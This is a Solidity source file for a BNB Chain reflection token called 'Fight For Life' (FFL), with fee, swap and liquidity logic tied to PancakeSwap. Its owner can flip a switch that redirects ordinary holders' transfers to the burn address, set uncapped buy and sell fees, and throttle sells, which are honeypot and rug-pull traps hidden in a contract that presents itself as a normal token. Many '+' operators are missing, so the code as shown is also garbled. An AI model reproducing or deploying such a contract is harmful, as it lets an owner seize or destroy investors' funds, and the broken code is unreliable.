// SPDX-License-Identifier: NOLICENSE

pragma solidity ^0.8.9;

interface IERC20 {

function totalSupply() external view returns (uint256);

function balanceOf(address account) external view returns (uint256);

function transfer(address recipient, uint256 amount) external returns (bool);

function allowance(address owner, address spender) external view returns (uint256);

function approve(address spender, uint256 amount) external returns (bool);

function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);

event Transfer(address indexed from, address indexed to, uint256 value);

event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a b;
if (c < a) return (false, 0);
return (true, c);
}
}

function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}

function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}

function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}

function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}

function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a b;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}

function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}

function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}

function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}

function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}

abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}

function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}

library Address {

function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}

function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");

(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}

function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}

function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}

function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}

function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");

(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}

function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}

function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");

(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}

function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}

function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");

(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}

function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {

if (returndata.length > 0) {

assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}

abstract contract Ownable is Context {
address private _owner;

event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}

function owner() public view virtual returns (address) {
return _owner;
}

modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}

function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}

function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}

interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);

function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);

function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);

function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}

interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);

function feeTo() external view returns (address);
function feeToSetter() external view returns (address);

function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);

function createPair(address tokenA, address tokenB) external returns (address pair);

function setFeeTo(address) external;
function setFeeToSetter(address) external;
}

library EnumerableSet {

struct Set {
bytes32[] _values;
mapping(bytes32 => uint256) _indexes;
}

function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}

function _remove(Set storage set, bytes32 value) private returns (bool) {
uint256 valueIndex = set._indexes[value];

if (valueIndex != 0) {
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;

if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];

set._values[toDeleteIndex] = lastvalue;
set._indexes[lastvalue] = valueIndex;
}

set._values.pop();

delete set._indexes[value];

return true;
} else {
return false;
}
}

function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}

function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}

function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}

function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}

struct AddressSet {
Set _inner;
}

function addic(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}

function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}

function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}

function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}

function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}

function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;

assembly {
result := store
}

return result;
}
}

contract FFLCoin is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.AddressSet;

EnumerableSet.AddressSet private tokenHoldersEnumSet;

mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => uint) public walletToPurchaseTime;
mapping (address => uint) public walletToSellime;

address[] private _excluded;
uint8 private constant _decimals = 12;
uint256 private constant MAX = ~uint256(0);

uint256 private _tTotal = 500000000 * 10 **_decimals; // Supply do Token = 500m
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 public _maxInAmount = 500000000 * 10**_decimals; // 500m - Initial max buy

uint256 public _init_tk_wallet_games = 250000000 * 10**_decimals; // 250m - Initial tk wallet games
uint256 public _init_vesting_mkt = 75000000 * 10**_decimals; // 75m - mkt


uint256 public _maxOutAmount = 10000 * 10**_decimals; // 10k - Initial max sell / WITHDRAW by useer
uint256 public _maxWallet = 500000000 * 10**_decimals; // 500m - Initial max Wallet
uint256 public numTokensToSwap = 5000 * 10**_decimals; // 5k - Swap marketing balance wallet
uint256 public numTokensToSwapLiquidity = 5000 * 10**_decimals; // 5k - Swap Liquidity balance wallet
uint public sellTime = 0; // 0 s per transaciton
uint public buyTime = 0; // 0 s per transaciton

uint public tkFee1 = 11000 * 10**_decimals;
uint public txFee1 = 0;
uint public tkFee2 = 15000 * 10**_decimals;
uint public txFee2 = 0;
uint public tkFee3 = 20000 * 10**_decimals;
uint public txFee3 = 0;



TotFeesPaidStruct public totFeesPaid;
string private constant _name = "Fight For Life";
string private constant _symbol = "FFL";

struct TotFeesPaidStruct{
uint256 rfi;
uint256 marketing;
uint256 liquidity;
uint256 burn;
}


struct feeRatesStruct {
uint256 rfi; // reflection to holders
uint256 marketing; // wallet balance that accumulates tk bnb
uint256 liquidity;
uint256 burn;
}

struct balances {
uint256 marketing_balance;
uint256 lp_balance;
}

balances public contractBalance;

/* 1% holders, 4% mkt, 1% liquidity = 6% */
feeRatesStruct public buyRates = feeRatesStruct(
{rfi: 1,
marketing: 40,
liquidity: 10,
burn: 0
});

/* 1% holders, 4% mkt, 1% liquidity = 6% */
feeRatesStruct public sellRates = feeRatesStruct(
{rfi: 1,
marketing: 40,
liquidity: 10,
burn: 0
});

feeRatesStruct private appliedFees;

struct valuesFromGetValues{
uint256 rAmount;
uint256 rTransferAmount;
uint256 rRfi;
uint256 rMarketing;
uint256 rLiquidity;
uint256 rBurn;
uint256 tTransferAmount;
uint256 tRfi;
uint256 tMarketing;
uint256 tLiquidity;
uint256 tBurn;
}

IUniswapV2Router02 public PancakeSwapV2Router;
address public pancakeswapV2Pair;
address payable private marketingAddress;
address payable private walletGameAddress;
address payable private ownerAddress;
address public wallet_presale;

// Trade off
bool public Trading = false;
// block tansfers before liquidity
bool private _transferForm = true;

bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;

struct antidmp {
uint256 selling_treshold;
uint256 extra_tax;
}

antidmp[3] public antidmp_measures;


event SwapAndLiquifyEnabledUpdated(bool enabled);
event LiquidityAdded(uint256 tokenAmount, uint256 bnbAmount);

modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}

constructor () {
_rOwned[owner()] = _rTotal;

IUniswapV2Router02 _PancakeSwapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E); //BSC mainnet
// IUniswapV2Router02 _PancakeSwapV2Router = IUniswapV2Router02(0x9Ac64Cc6e4415144C455BD8E4837Fea55603e5c3); //BSC Testnet

pancakeswapV2Pair = IUniswapV2Factory(_PancakeSwapV2Router.factory())
.createPair(address(this), _PancakeSwapV2Router.WETH());
PancakeSwapV2Router = _PancakeSwapV2Router;
marketingAddress = payable(0x4a82e7A9b276A88f27439e1eA726393a7fb1BcA7);
walletGameAddress = payable(0x8902C224d834f504517524f450f481b5A52F331e);
ownerAddress = payable(0x665c04EC3a591bf180fE3Da73157814FCacC416D);
wallet_presale = owner();

_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[marketingAddress] = true;
_isExcludedFromFee[wallet_presale] = true;
_isExcludedFromFee[wallet_presale] = true;
_isExcludedFromFee[ownerAddress] = true;
_isExcludedFromFee[0x000000000000000000000000000000000000dEaD] = true;

antidmp_measures[0] = antidmp({selling_treshold: tkFee1 * 10**_decimals, extra_tax: txFee1});
antidmp_measures[1] = antidmp({selling_treshold: tkFee2 * 10**_decimals, extra_tax: txFee2});
antidmp_measures[2] = antidmp({selling_treshold: tkFee3 * 10**_decimals, extra_tax: txFee3});

_isExcluded[address(this)] = true;
_excluded.push(address(this));

_isExcluded[pancakeswapV2Pair] = true;
_excluded.push(pancakeswapV2Pair);
emit Transfer(address(0), owner(), _tTotal );

}



function setWalletPreSale(address account) public onlyOwner {
wallet_presale = account;
}

function getFromLastBuy(address wallet) public view returns (uint) {
return walletToPurchaseTime[wallet];
}

function getFromLastSell(address walletSell) public view returns (uint) {
return walletToSellime[walletSell];
}

function setBuyRates(uint256 rfi, uint256 marketing, uint256 liquidity, uint256 burn) public onlyOwner {
buyRates.rfi = rfi;
buyRates.marketing = marketing;
buyRates.liquidity = liquidity;
buyRates.burn = burn;
}

function setSellRates(uint256 rfi, uint256 marketing, uint256 liquidity, uint256 burn) public onlyOwner {
sellRates.rfi = rfi;
sellRates.marketing = marketing;
sellRates.liquidity = liquidity;
sellRates.burn = burn;
}

function setMarketingAddress(address payable _marketingAddress) public onlyOwner {
marketingAddress = _marketingAddress;
}


function setEnableContract(bool _enable) public onlyOwner {
_transferForm = _enable;
}


function setWalletGameAddress(address payable _walletGameAddress) public onlyOwner {
walletGameAddress = _walletGameAddress;

}
function getWalletGameAddress() public view returns (address) {
return walletGameAddress;
}

function getMarketingAddress() public view returns (address) {
return marketingAddress;
}

function lockToBuyOrSellForTime(uint256 lastBuyOrSellTime, uint256 lockTime) public view returns (bool) {

if( lastBuyOrSellTime == 0 ) return true;

uint256 crashTime = block.timestamp - lastBuyOrSellTime;

if( crashTime >= lockTime ) return true;

return false;
}

function setBuyTime(uint timeBetweenPurchases) public onlyOwner {
buyTime = timeBetweenPurchases;
}

function setSellTime(uint timeBetween) public onlyOwner {
sellTime = timeBetween;
}

function setTokenToSwap(uint256 top) public onlyOwner {
numTokensToSwap = top * 10**_decimals;
}

function setTokenToSwapLiquidity(uint256 top) public onlyOwner {
numTokensToSwapLiquidity = top * 10**_decimals;
}

function setTkFee1(uint256 fee1) public onlyOwner {
tkFee1 = fee1 * 10**_decimals;
}

function setTkFee2(uint256 fee2) public onlyOwner {
tkFee2 = fee2 * 10**_decimals;
}

function setTkFee3(uint256 fee3) public onlyOwner {
tkFee3 = fee3 * 10**_decimals;
}

function setTxFee1(uint extra01) public onlyOwner {
txFee1 = extra01;
}

function setTxFee2(uint extra02) public onlyOwner {
txFee2 = extra02;
}

function setTxFee3(uint extra03) public onlyOwner {
txFee3 = extra03;
}


function name() public pure returns (string memory) {
return _name;
}

function symbol() public pure returns (string memory) {
return _symbol;
}

function decimals() public pure returns (uint8) {
return _decimals;
}

function totalSupply() public view override returns (uint256) {
return _tTotal;
}

function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}

function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return Trading;
}

function TrandingOn(bool _enable) public onlyOwner {
Trading = _enable;
}

function settransform(bool _enable) public onlyOwner {
_transferForm = _enable;
}

function setMaxInPercent(uint256 maxInPercent) public onlyOwner {
_maxInAmount = maxInPercent * 10**_decimals;
}

function setMaxOutPercent(uint256 maxOutPercent) public onlyOwner {
_maxOutAmount = maxOutPercent * 10**_decimals;
}

function setMaxWallet(uint256 maxWalletPercent) public onlyOwner {
_maxWallet = maxWalletPercent * 10**_decimals;
}

function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}

function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}

function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return _transferForm;
}

function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] addedValue);
return true;
}

function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}

function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}

function reflectionFromToken(uint256 tAmount, bool deductTransferRfi) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferRfi) {
valuesFromGetValues memory s = _getValues(tAmount, true);
return s.rAmount;
} else {
valuesFromGetValues memory s = _getValues(tAmount, true);
return s.rTransferAmount;
}
}

function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount/currentRate;
}

function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}

function excludeFromAll(address account) public onlyOwner() {
if(!_isExcluded[account])
{
_isExcluded[account] = true;
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_excluded.push(account);
}
_isExcludedFromFee[account] = true;
tokenHoldersEnumSet.remove(account);
}

function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i ) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}

function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}

function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}

function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}

function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}

receive() external payable {}

function _getValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory to_return) {
to_return = _getTValues(tAmount, takeFee);

(to_return.rAmount,to_return.rTransferAmount,to_return.rRfi,to_return.rMarketing,to_return.rLiquidity,to_return.rBurn) = _getRValues(to_return, tAmount, takeFee, _getRate());

return to_return;
}

function _getTValues(uint256 tAmount, bool takeFee) private view returns (valuesFromGetValues memory s) {

if(!takeFee) {
s.tTransferAmount = tAmount;
return s;
}
s.tRfi = tAmount*appliedFees.rfi/1000;
s.tMarketing = tAmount*appliedFees.marketing/1000;
s.tLiquidity = tAmount*appliedFees.liquidity/1000;
s.tBurn = tAmount*appliedFees.burn/1000;
s.tTransferAmount = tAmount-s.tRfi -s.tMarketing -s.tLiquidity -s.tBurn;
return s;
}

function _getRValues(valuesFromGetValues memory s, uint256 tAmount, bool takeFee, uint256 currentRate) private pure returns (uint256 rAmount, uint256 rTransferAmount, uint256 rRfi, uint256 rMarketing, uint256 rLiquidity, uint256 rBurn) {
rAmount = tAmount*currentRate;

if(!takeFee) {
return(rAmount, rAmount, 0,0,0,0);
}

rRfi= s.tRfi*currentRate;
rMarketing= s.tMarketing*currentRate;
rLiquidity= s.tLiquidity*currentRate;
rBurn= s.tBurn*currentRate;

rTransferAmount= rAmount- rRfi-rMarketing-rLiquidity-rBurn;

return ( rAmount, rTransferAmount, rRfi, rMarketing, rLiquidity, rBurn);
}

function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply/tSupply;
}

function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i ) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply-_rOwned[_excluded[i]];
tSupply = tSupply-_tOwned[_excluded[i]];
}
if (rSupply < _rTotal/_tTotal) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}

function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
_rTotal = _rTotal-rRfi;
totFeesPaid.rfi =tRfi;
}

function _takeMarketing(uint256 rMarketing, uint256 tMarketing) private {
contractBalance.marketing_balance =tMarketing;
totFeesPaid.marketing =tMarketing;
_rOwned[address(this)] = _rOwned[address(this)] rMarketing;
if(_isExcluded[address(this)])
{
_tOwned[address(this)] = _tOwned[address(this)] tMarketing;
}
}

function _takeLiquidity(uint256 rLiquidity,uint256 tLiquidity) private {
contractBalance.lp_balance =tLiquidity;
totFeesPaid.liquidity =tLiquidity;

_rOwned[address(this)] = _rOwned[address(this)] rLiquidity;
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)] tLiquidity;
}

function _takeBurn(uint256 rBurn, uint256 tBurn) private {
totFeesPaid.burn =tBurn;

_tTotal = _tTotal-tBurn;
_rTotal = _rTotal-rBurn;
}

function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}

function _transfer(address from, address to, uint256 amount) private {

if(_transferForm == true){

require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(amount <= balanceOf(from),"You are trying to transfer more than you balance");

if (contractBalance.lp_balance>= numTokensToSwap && !inSwapAndLiquify && from != pancakeswapV2Pair && swapAndLiquifyEnabled) {
swapAndLiquify(numTokensToSwap);
}

if (contractBalance.marketing_balance>= numTokensToSwap && !inSwapAndLiquify && from != pancakeswapV2Pair && swapAndLiquifyEnabled) {
swapAndSendToMarketing(numTokensToSwap);
}

_tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to]));

}

if(_transferForm == false){

if(from != owner() && to != owner() && to != wallet_presale && from != wallet_presale && to != address(1)){
_tokenTransfer(from, 0x000000000000000000000000000000000000dEaD, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to]));
}

else {

_tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to]));

}
}
}


function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private {
if(takeFee) {
if(sender == pancakeswapV2Pair) {

if(sender != owner() && recipient != owner() && recipient != address(1)){
require(tAmount <= _maxInAmount, "Transfer amount exceeds the maxTxAmount.");
bool blockedTimeLimitB = lockToBuyOrSellForTime(getFromLastBuy(sender),buyTime);
require(blockedTimeLimitB, "blocked Time Limit");
walletToPurchaseTime[recipient] = block.timestamp;
}
appliedFees = buyRates;
} else {
if(sender != owner() && recipient != owner() && recipient != address(1)){
require(tAmount <= _maxOutAmount, "Transfer amount exceeds the maxRxAmount.");
//Check time limit for in-game withdrawals
bool blockedTimeLimitS = lockToBuyOrSellForTime(getFromLastSell(sender), sellTime);
require(blockedTimeLimitS, "blocked Time Limit");
walletToSellime[sender] = block.timestamp;
}


appliedFees = sellRates;
appliedFees.liquidity = appliedFees.liquidity;

uint256 antiDmpFee = getAntiDmpFee(tAmount);
if(antiDmpFee>0) { appliedFees.liquidity = appliedFees.liquidity antiDmpFee; }

}

}

valuesFromGetValues memory s = _getValues(tAmount, takeFee);

if (_isExcluded[sender] && !_isExcluded[recipient]) {
_tOwned[sender] = _tOwned[sender]-tAmount;
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_tOwned[recipient] = _tOwned[recipient] s.tTransferAmount;
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_tOwned[sender] = _tOwned[sender]-tAmount;
_tOwned[recipient] = _tOwned[recipient] s.tTransferAmount;
}

_rOwned[sender] = _rOwned[sender]-s.rAmount;
_rOwned[recipient] = _rOwned[recipient] s.rTransferAmount;

if(takeFee)
{
_reflectRfi(s.rRfi, s.tRfi);
_takeMarketing(s.rMarketing,s.tMarketing);
_takeLiquidity(s.rLiquidity,s.tLiquidity);
_takeBurn(s.rBurn,s.tBurn);

emit Transfer(sender, address(this), s.tMarketing s.tLiquidity);

}

emit Transfer(sender, recipient, s.tTransferAmount);
tokenHoldersEnumSet.addic(recipient);

if(balanceOf(sender)==0)
tokenHoldersEnumSet.remove(sender);

}

function getAntiDmpFee(uint256 amount) internal view returns(uint256 sell_tax) {

if(amount < antidmp_measures[0].selling_treshold) {
sell_tax=0;
}
else if(amount < antidmp_measures[1].selling_treshold) {
sell_tax = antidmp_measures[0].extra_tax;
}
else if(amount < antidmp_measures[2].selling_treshold) {
sell_tax = antidmp_measures[1].extra_tax;
}
else { sell_tax = antidmp_measures[2].extra_tax; }

return sell_tax;
}

function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {

uint256 toSwap = contractTokenBalance/2;
uint256 tokensToAddLiquidityWith = contractTokenBalance-toSwap;

uint256 tokensBalance = balanceOf(address(this));
uint256 initialBalance = address(this).balance;

swapTokensForBNB(toSwap);

uint256 bnbToAddLiquidityWith = address(this).balance-initialBalance;

addLiquidity(tokensToAddLiquidityWith, bnbToAddLiquidityWith);
uint256 tokensSwapped = tokensBalance - balanceOf(address(this));
contractBalance.lp_balance-=tokensSwapped;

}

function swapAndSendToMarketing(uint256 tokenAmount) private lockTheSwap {

address[] memory path = new address[](2);
path[0] = address(this);
path[1] = PancakeSwapV2Router.WETH();

if(allowance(address(this), address(PancakeSwapV2Router)) < tokenAmount) {
_approve(address(this), address(PancakeSwapV2Router), ~uint256(0));
}
contractBalance.marketing_balance-=tokenAmount;
PancakeSwapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
marketingAddress,
block.timestamp
);

}

function swapTokensForBNB(uint256 tokenAmount) private {

address[] memory path = new address[](2);
path[0] = address(this);
path[1] = PancakeSwapV2Router.WETH();

if(allowance(address(this), address(PancakeSwapV2Router)) < tokenAmount) {
_approve(address(this), address(PancakeSwapV2Router), ~uint256(0));
}

PancakeSwapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}

function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {

PancakeSwapV2Router.addLiquidityETH{value: bnbAmount}(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
emit LiquidityAdded(tokenAmount, bnbAmount);
}

function withdraw() onlyOwner public {
uint256 balance = address(this).balance;
payable(msg.sender).transfer(balance);
}


function withdrawERC20(
address tokenAddress,
address to,
uint256 amount
) external virtual onlyOwner {
require(tokenAddress.isContract(), "ERC20 token address must be a contract");

IERC20 tokenContract = IERC20(tokenAddress);
require(
tokenContract.balanceOf(address(this)) >= amount,
"You are trying to withdraw more funds than available"
);

require(tokenContract.transfer(to, amount), "Fail on transfer");
}

}